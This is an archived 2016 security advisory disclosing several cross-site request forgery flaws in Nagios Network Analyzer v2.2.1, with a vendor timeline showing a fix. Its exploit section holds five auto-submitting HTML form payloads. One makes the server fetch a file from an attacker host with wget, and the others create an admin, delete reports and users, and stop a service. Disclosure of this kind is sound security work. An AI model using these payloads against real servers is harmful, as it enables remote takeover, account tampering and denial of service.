[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Nagios Network Analyzer v2.2.1 Multiple CSRF



[+] Credits: John Page -hyp3rlinx       

[+] Website: hyp3rlinx.altervista.org

[+] Source:  
http://hyp3rlinx.altervista.org/advisories/NAGIOS-NA-v2.2.1-MULTIPLE-CSRF.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.nagios.com



Product:
==============================
Nagios Network Analyzer v2.2.1

Netflow Analysis, Monitoring, and Bandwidth Utilization Software

Network Analyzer provides an in-depth look at all network traffic sources and 
potential security threats allowing system
admins to quickly gather high-level information regarding the health of the 
network as well as highly granular data for
complete and thorough network analysis.



Vulnerability Type:
=================================
Cross Site Request Forgery (CSRF)




CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Nagios NA has multiple CSRF vectors, allowing unauthorized commands to be 
transmitted from a user that the website trusts if that user is
authenticated and visits a malicious webpage or clicks a attacker supplied 
link. The Nagios system can be compromised as remote attackers
can create arbitrary commands e.g. using "wget" to download RCE files onto the 
system, create arbitrary Admins, delete users, and conduct
DOS attacks.



Exploit code(s):
================

1) Create arbitrary commands 

<form 
action="http://victim-server/nagiosna/index.php/api/system/create_command"; 
method="post">
<input type="hidden" name="name" value="pwn">
<input type="hidden" name="location" value="%2Fusr%2Fbin%2Fwget">
<input type="hidden" name="script" value="wget">
<input type="hidden" name="args" value="http%3A%2F%2Fattacker-server%2FRCE.php">
<script>document.forms[0].submit()</script>
</form>   
        

2) Add Admin 


<form action="http://victim-server/nagiosna/index.php/admin/users/create"; 
method="post" accept-charset="utf-8">               
<input type="text" name="first_name" value="CSRF"> 
<input type="text" name="last_name" value="ME">
<input type="text" name="company" value="PWN">
<input type="text" name="email" value="evil@xxxxxxxxx"> 
<input type="text" name="phone" value="">
<input type="text" name="username" value="HYP3RLINX">
<input type="password" name="password" value="abc123">
<input type="password" name="password2" value="abc123"> 
<input type="hidden" name="language" value="default" >
<input type="hidden" name="account_type" id="account_type" value="local">
<input type="hidden" name="ldap_server" id="ldap_server">
<input type="hidden" name="ad_server" id="ad_server" value="1">                 
                       
<input type="text" name="ad_username" id="ad_username">
<input type="text" name="dn"  placeholder="cn=John Smith,dn=nagios,dc=com">
<input type="radio" name="group" value="1" checked="true" > 
<input type="radio" name="apiaccess" value="1" >                        
<input type="radio" name="apiaccess" value="0" checked>                      
<script>document.forms[0].submit()</script>
</form> 


3) Delete reports (report ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/api/reports/delete"; 
method="post">
<input type="hidden" name="q[rid]" value="9">
<script>document.forms[0].submit()</script>
</form> 

          
4) DOS

<form action="http://victim-server/nagiosna/index.php/api/system/stop"; 
method="post">
<input type="hidden" name="sid" value="1">
<script>//document.forms[0].submit()</script>
</form> 



                  
5) Delete users (user ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/admin/users/delete"; 
method="post">
<input type="hidden" name="id" value="10">
<script>document.forms[0].submit()</script>
</form>   
                  
                 


Disclosure Timeline:
======================================
Vendor Notification:  July 20, 2016
Vendor Acknowledgement: July 21, 2016
Vendor Fix / Release: August 1, 2016
August 8, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===============
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no 
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in 
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the 
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author 
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX